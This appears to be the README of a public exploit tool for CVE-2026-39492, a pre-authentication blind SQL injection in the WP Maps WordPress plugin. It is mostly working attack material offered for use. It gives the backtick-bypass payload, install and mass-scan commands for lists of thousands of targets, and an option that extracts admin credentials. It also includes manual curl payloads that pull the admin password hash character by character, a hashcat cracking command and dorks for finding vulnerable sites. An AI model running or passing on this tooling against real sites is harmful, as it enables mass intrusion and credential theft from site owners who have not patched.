CVE-2026-39492

// Vulnerable: backtick-wrapped input treated as trusted column identifier
function is_column($value) {
    if (preg_match('/^`.*`$/', $value)) {
        return true;  // bypasses esc_sql() entirely!
    }
    return false;
}

location_id=`1` AND SLEEP(5) AND `1`=`1

1. Detect WP Maps via readme.txt → extract version
2. POST to /wp-admin/admin-ajax.php?action=wpgmp_ajax_call
3. Inject backtick-wrapped payload in location_id parameter
4. Measure response time — SLEEP(N) confirms SQL injection
5. Extract data via boolean/time-based blind technique

git clone https://github.com/shinthink/CVE-2026-39492.git
cd CVE-2026-39492
pip install -r requirements.txt

# Single target detection
python cve_2026_39492.py -t target.com

# Mass scan
python cve_2026_39492.py -f targets.txt

# Mass scan + save results
python cve_2026_39492.py -f targets.txt -o sqli.txt

# Single target with credential extraction
python cve_2026_39492.py -t target.com --extract -v

# Verbose output
python cve_2026_39492.py -t target.com -v

  -t, --target      Single target (domain or IP)
  -f, --file        Target list, one per line
  -o, --output      Save vulnerable targets to file
  --threads         Concurrent workers (default: 20)
  --extract         Extract admin credentials from confirmed targets
  -v, --verbose     Show detailed output

$ python cve_2026_39492.py -t target.com -v

  CVE-2026-39492 — WP Maps Blind SQL Injection Scanner
  CVSS 9.3 | Pre-Auth | wpgmp_ajax_call → Backtick Bypass

  Target: WP Maps (wp-google-map-plugin) <= 4.9.1
  Vector: admin-ajax.php?action=wpgmp_ajax_call → location_id
  Bypass: backtick-wrapped input bypasses esc_sql()

    [+] WP Maps detected: v4.9.0
    [*] SQLi test: 6.2s (threshold: 5s)
    [+] Blind SQLi CONFIRMED (response: 6.2s)

  Host        : target.com
  WP Maps     : YES v4.9.0
  SQLi        : YES
  Resp time   : 6.2s
  Time        : 7.1s

$ python cve_2026_39492.py -t target.com --extract -v

    [+] Blind SQLi CONFIRMED (response: 5.8s)
    [*] Extracting admin credentials via blind SQLi...
    [*] Extracting: admin_user
    [*] Extracting: $P$BqVg...

  Admin User  : admin_user
  Admin Hash  : $P$BqVg7xX...

  CVE-2026-39492  WP Maps Blind SQLi Scanner
  Targets: 2500 | Threads: 20
  Vector: wpgmp_ajax_call → location_id backtick bypass
  ───────────────────────────────────────────────────────

  [SQLi]    target-vuln.com                                 6.2s  v4.9.0       resp:6.2s
  [SQLi]    wp-maps-site.com                                5.8s  v4.8.5       resp:5.8s
  [500/2500] 20%  |  WP Maps:47  SQLi:12  |  current-target.com

  ───────────────────────────────────────────────────────
  Scan complete  |  Time: 320s
  ───────────────────────────────────────────────────────
  Targets        : 2500
  WP Maps found  : 47
  SQLi confirmed : 12

curl -sk 'https://target.com/wp-content/plugins/wp-google-map-plugin/readme.txt' | head -5

time curl -sk -X POST 'https://target.com/wp-admin/admin-ajax.php' \
  -d 'action=wpgmp_ajax_call' \
  -d 'location_id=`1` AND SLEEP(5) AND `1`=`1'

# Response > 5 seconds → VULNERABLE

# Check first character of admin hash
time curl -sk -X POST 'https://target.com/wp-admin/admin-ajax.php' \
  -d 'action=wpgmp_ajax_call' \
  -d 'location_id=`1` AND IF(ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1))=36,SLEEP(3),0) AND `1`=`1'

# Response > 3 seconds → first char is ASCII 36 = '$'

hashcat -m 400 -a 0 admin_hash.txt /usr/share/wordlists/rockyou.txt

body="wp-google-map-plugin"

http.html:"wp-google-map-plugin"